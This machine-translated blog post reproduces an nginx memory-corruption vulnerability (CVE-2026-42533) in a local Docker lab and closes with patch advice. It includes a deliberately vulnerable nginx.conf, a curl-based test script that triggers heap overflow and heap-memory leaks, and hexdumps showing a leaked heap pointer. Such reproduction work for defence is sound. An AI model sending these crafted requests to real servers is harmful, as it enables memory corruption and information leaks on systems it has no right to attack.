
I Tried Reproducing the nginx Vulnerability (CVE-2026-42533) Reported in July 2026 Using Docker
This page has been translated by machine translation. View original
Introduction
On July 15, 2026, CVE-2026-42533, a memory corruption vulnerability in nginx HTTP request processing, was fixed. It is a vulnerability reachable remotely without authentication, and its CVSS v4.0 score is 9.2 (Critical). The code causing it has existed since version 0.9.6, released in March 2011, and remained unnoticed for about 15 years.
| Category | Affected versions | Fixed versions |
|---|---|---|
| nginx stable | 0.9.6 ~ 1.30.3 | 1.30.4 |
| nginx mainline | ~ 1.31.2 | 1.31.3 |
| NGINX Plus | R33 ~ R36 / 37.0.0.1 ~ 37.0.2.1 | R36 P7 / 37.0.3.1 |
In this article, we started the vulnerable version (1.30.3) and the fixed version (1.30.4) side by side in a local Docker environment, and reproduced the capture clobbering and heap information leak at the behavioral level. We do not perform an RCE demonstration. Also, triggering in NGINX Plus and the stream module is outside the scope of this verification.
If you operate nginx with a configuration that combines regex location and regex map, we recommend upgrading early.
Verification Details
Verification Environment
| Item | Value |
|---|---|
| Host OS | Linux |
| Docker | Docker Compose v2 |
| Vulnerable image | nginx:1.30.3 (port 8081) |
| Fixed image | nginx:1.30.4 (port 8082) |
| nginx configuration | Combination of regex location + regex map |
Vulnerable Configuration and Two-Pass Mechanism
The nginx.conf used for verification is as follows.
worker_processes 1;
error_log /var/log/nginx/error.log debug;
events {
worker_connections 1024;
}
http {
map $http_x_input $mapped_var {
default "nomatch";
~^(?<cap>.+)$ "matched";
}
server {
listen 80;
server_name localhost;
location ~ "^/test/(.+)$" {
add_header X-Debug "$1--$mapped_var--$1" always;
return 200 "URI capture=[$1] mapped=[$mapped_var]\n";
}
location /health {
return 200 "ok\n";
}
}
}
When assembling composite values such as add_header or return, the nginx script engine processes them in two stages. First is the LEN pass, which calculates the required buffer length, and then the VALUE pass, which actually writes the string. The capture $1 of the regex location ^/test/(.+)$ is stored in r->captures as the result of the regex match.
Here, when the regex map ~^(?<cap>.+)$ is evaluated as $mapped_var is referenced, the map's regex match is executed against the value of the X-Input header, and its result overwrites r->captures. In the configuration of this verification, a situation arises where the referent of $1 changes between the LEN pass and the VALUE pass, causing an inconsistency between the allocated buffer size and the actual number of bytes written. In this verification, this inconsistency was observed as a buffer overflow (Test 2) and exposure of uninitialized memory regions (Test 3).
To start the containers, the following docker-compose.yml was used.
services:
nginx-vulnerable:
image: nginx:1.30.3
container_name: nginx-vuln-cve2026-42533
ports:
- "8081:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf:ro
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost/health"]
interval: 5s
timeout: 3s
retries: 3
nginx-fixed:
image: nginx:1.30.4
container_name: nginx-fixed-cve2026-42533
ports:
- "8082:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf:ro
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost/health"]
interval: 5s
timeout: 3s
retries: 3
After starting both containers with docker compose up -d, the following three tests were executed.
Verification test script (test.sh)
#!/bin/bash
# CVE-2026-42533 Reproduction Test Script
# Tests the two-pass capture clobbering vulnerability in nginx
#
# This script does NOT attempt RCE - it demonstrates the observable
# behavioral difference (capture clobbering) that proves the bug exists.
set -euo pipefail
VULN_PORT=8081
FIXED_PORT=8082
HOST="localhost"
# Wait for containers to be ready
echo "[*] Waiting for containers to be ready..."
for port in $VULN_PORT $FIXED_PORT; do
for i in $(seq 1 30); do
if curl -s -o /dev/null -w "%{http_code}" "http://${HOST}:${port}/health" 2>/dev/null | grep -q "200"; then
break
fi
if [ "$i" -eq 30 ]; then
echo "[!] Container on port ${port} not ready after 30s"
exit 1
fi
sleep 1
done
done
echo "[+] Both containers are ready"
# Test 1: Basic capture clobbering detection
echo "=== TEST 1: Basic Capture Clobbering Detection ==="
curl -s -D - "http://${HOST}:${VULN_PORT}/test/abc" -H "X-Input: CLOBBERED_DATA_HERE"
echo "---"
curl -s -D - "http://${HOST}:${FIXED_PORT}/test/abc" -H "X-Input: CLOBBERED_DATA_HERE"
# Test 2: Overflow direction (short URI + long X-Input)
echo "=== TEST 2: Length Mismatch (Overflow Direction) ==="
LONG_INPUT=$(python3 -c "print('B' * 200)")
curl -s -D - "http://${HOST}:${VULN_PORT}/test/x" -H "X-Input: ${LONG_INPUT}"
echo "---"
curl -s -D - "http://${HOST}:${FIXED_PORT}/test/x" -H "X-Input: ${LONG_INPUT}"
# Test 3: Leak direction (long URI + short X-Input)
echo "=== TEST 3: Length Mismatch (Leak Direction) ==="
LONG_CAP=$(python3 -c "print('A' * 500)")
curl -s --output - "http://${HOST}:${VULN_PORT}/test/${LONG_CAP}" -H "X-Input: z" | hexdump -C
echo "---"
curl -s -D - "http://${HOST}:${FIXED_PORT}/test/${LONG_CAP}" -H "X-Input: z"
Test 1: Detection of Capture Clobbering
We sent an X-Input header (19 bytes, CLOBBERED_DATA_HERE) longer than the URI path capture $1 (3 bytes, abc) and checked whether $1 was overwritten.
curl -s -D - "http://localhost:8081/test/abc" -H "X-Input: CLOBBERED_DATA_HERE"
| Server | Value of $1 |
HTTP Status | Result |
|---|---|---|---|
| nginx 1.30.3 | CLOBBERED_DATA_HERE |
200 | ❌ Vulnerable (capture clobbering occurred) |
| nginx 1.30.4 | — | 500 | ✅ Fixed (aborted by buffer boundary check) |
In the vulnerable version (1.30.3), the X-Debug header was CLOBBERED_DATA_HERE--matched--CLOBBERED_DATA_HERE. The $1 that should have been "abc" was completely replaced with the capture result of the X-Input header. In the fixed version (1.30.4), the VALUE pass detected the buffer size inconsistency and aborted processing with HTTP 500 (see the fix mechanism described later for details).
Test 1 full vulnerable version response
HTTP/1.1 200 OK
Server: nginx/1.30.3
Date: Mon, 20 Jul 2026 08:39:18 GMT
Content-Type: text/plain
Content-Length: 35
Connection: keep-alive
X-Debug: CLOBBERED_DATA_HERE--matched--CLOBBERED_DATA_HERE
URI capture=[CLOBBERED_DATA_HERE] m
Test 2: Overflow Direction (Short URI + Long X-Input)
For /test/x ($1 = 1 byte), we sent an X-Input header of 200 bytes and checked whether a large value was written into a small buffer.
curl -s -D - "http://localhost:8081/test/x" -H "X-Input: $(python3 -c "print('B'*200)")"
| Server | Response content | HTTP Status | Result |
|---|---|---|---|
| nginx 1.30.3 | Content-Length: 33 (value calculated in LEN pass), body truncated. 200 bytes of 'B' were written into the X-Debug header, causing heap overflow | 200 | ❌ Buffer overflow (200 bytes written to a 1-byte buffer) |
| nginx 1.30.4 | 500 Internal Server Error | 500 | ✅ Detected and aborted by ngx_http_script_check_length() |
In the vulnerable version, the LEN pass calculated Content-Length: 33 using $1 = x (1 byte), so the body was truncated. However, when constructing the X-Debug header, 200 bytes were written into a 1-byte buffer, causing heap corruption. In the fixed version, processing was aborted with HTTP 500, as in Test 1.
Test 3: Information Leak Direction (Long URI + Short X-Input)
This is the opposite case of Test 2. With the URI /test/ followed by 500 bytes of 'A', $1 becomes 500 bytes, and we sent "z" (1 byte) as X-Input. The LEN pass calculates the buffer size with $1 as 500 bytes, but in the VALUE pass the $1 portion is replaced by the 1 byte z, so most of the buffer remains unwritten, and uninitialized heap data from that region is leaked in the response.
curl -s "http://localhost:8081/test/$(python3 -c "print('A'*500)")" -H "X-Input: z" | hexdump -C
| Server | Response size | Leaked content | Result |
|---|---|---|---|
| nginx 1.30.3 | 532 bytes (expected 33 bytes) | Null bytes, heap pointer (0xaaab5db438b0), access log string from previous request |
❌ Uninitialized heap data leak |
| nginx 1.30.4 | 33 bytes | None | ✅ Only the correct size returned |
The response of the vulnerable version returned 532 bytes against the expected 33 bytes. Checking the contents with hexdump, uninitialized heap data was leaked in the following regions.
- From offset 0x0093 onward: a sequence of null bytes (uninitialized region of the buffer)
- Offset 0x00b0: a little-endian heap pointer (
0xaaab5db438b0) - From offset 0x0150 onward: an access log string remaining from the previous request
000090 0a 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 >................<
0000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >................<
0000b0 b0 38 b4 5d ab aa 00 00 00 00 00 00 00 00 00 00 >.8.]............<
0000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >................<
*
000100 00 02 00 00 00 00 00 00 00 29 b4 5d ab aa 00 00 >.........).]....<
000150 31 32 37 2e 30 2e 30 2e 31 20 2d 20 2d 20 5b 32 >127.0.0.1 - - [2<
000160 30 2f 4a 75 6c 2f 32 30 32 36 3a 30 38 3a 33 39 >0/Jul/2026:08:39<
000170 3a 32 34 20 2b 30 30 30 30 5d 20 22 47 45 54 20 >:24 +0000] "GET <
000180 2f 68 65 61 6c 74 68 20 48 54 54 50 2f 31 2e 31 >/health HTTP/1.1<
000190 22 20 32 30 30 20 33 20 22 2d 22 20 22 63 75 72 >" 200 3 "-" "cur<
0001a0 6c 2f 38 2e 31 34 2e 31 22 0a 00 00 00 00 00 00 >l/8.14.1".......<
The bytes b0 38 b4 5d ab aa 00 00 at offset 0x00b0 are presumed, from the arrangement of values, to be a little-endian heap pointer (0xaaab5db438b0). A part of the address space under ASLR is exposed. From offset 0x0150 onward, the access log string of the previous request (the health check to /health) remained as is. It can be seen that the memory contents inside the process were returned by a single GET request.
Test 3 full vulnerable version hexdump
000000 55 52 49 20 63 61 70 74 75 72 65 3d 5b 7a 5d 20 >URI capture=[z] <
000010 6d 61 70 70 65 64 3d 5b 6d 61 74 63 68 65 64 5d >mapped=[matched]<
000020 0a 33 30 2e 33 0d 0a 44 61 74 65 3a 20 4d 6f 6e >.30.3..Date: Mon<
000030 2c 20 32 30 20 4a 75 6c 20 32 30 32 36 20 30 38 >, 20 Jul 2026 08<
000040 3a 33 39 3a 32 34 20 47 4d 54 0d 0a 43 6f 6e 74 >:39:24 GMT..Cont<
000050 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 >ent-Type: text/p<
000060 6c 61 69 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 >lain..Content-Le<
000070 6e 67 74 68 3a 20 33 0d 0a 43 6f 6e 6e 65 63 74 >ngth: 3..Connect<
000080 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d >ion: keep-alive.<
000090 0a 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 >................<
0000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >................<
0000b0 b0 38 b4 5d ab aa 00 00 00 00 00 00 00 00 00 00 >.8.]............<
0000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >................<
*
000100 00 02 00 00 00 00 00 00 00 29 b4 5d ab aa 00 00 >.........).]....<
000110 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 >................<
000120 00 80 00 00 00 00 00 00 00 b3 cb 43 ab aa 00 00 >...........C....<
000130 84 ec bd 43 ab aa 00 00 50 29 b4 5d ab aa 00 00 >...C....P).]....<
000140 60 38 b4 5d ab aa 00 00 a0 3d b2 5d ab aa 00 00 >`8.].....=.]....<
000150 31 32 37 2e 30 2e 30 2e 31 20 2d 20 2d 20 5b 32 >127.0.0.1 - - [2<
000160 30 2f 4a 75 6c 2f 32 30 32 36 3a 30 38 3a 33 39 >0/Jul/2026:08:39<
000170 3a 32 34 20 2b 30 30 30 30 5d 20 22 47 45 54 20 >:24 +0000] "GET <
000180 2f 68 65 61 6c 74 68 20 48 54 54 50 2f 31 2e 31 >/health HTTP/1.1<
000190 22 20 32 30 30 20 33 20 22 2d 22 20 22 63 75 72 >" 200 3 "-" "cur<
0001a0 6c 2f 38 2e 31 34 2e 31 22 0a 00 00 00 00 00 00 >l/8.14.1".......<
0001b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >................<
*
000210 00 00 00 00 >....<
000214
Fix Mechanism
The fix in nginx 1.30.4 does not save/restore captures, but instead adds a buffer boundary check to the VALUE pass.
ngx_http_script_check_length() checks the remaining buffer capacity before each variable write in the VALUE pass. If the amount to be written exceeds the buffer size calculated in the LEN pass, it returns HTTP 500 and aborts processing. The reason the fixed version returned HTTP 500 in Tests 1 and 2 is due to this boundary check.
Regarding prevention of information leakage, the method for calculating the length returned in the response was changed. Previously the measured value from the LEN pass was used as is, but after the fix it is calculated from the actual number of bytes written in the VALUE pass (e->pos - e->buf.data). The reason the fixed version in Test 3 returned only 33 bytes is that only the portion actually written was adopted as the response size.
Summary
CVE-2026-42533 is a serious vulnerability in which, in configurations meeting the affecting conditions, a value presumed to be a heap pointer and past request data can be leaked by a single GET request. In this verification, capture clobbering and exposure of uninitialized memory were observed in the vulnerable version, and it was confirmed that the problem does not reproduce with the same requests on the fixed version.
As countermeasures, updating to nginx 1.30.4 (stable) or 1.31.3 (mainline) is effective. For NGINX Plus, R36 P7 / 37.0.3.1 applies. In environments where immediate updating is not possible, we recommend checking whether your own configuration meets the affecting conditions and addressing it with priority. The configuration scanner published by the discoverer (Stan Shaw) can be used to check whether a configuration combining regex location and regex map is present.
Also, nginx may be used inside container images or PaaS platforms. Even in environments where you do not directly manage nginx yourself, we recommend checking whether the platform you use includes an affected version, and whether a fixed version or updated platform is provided.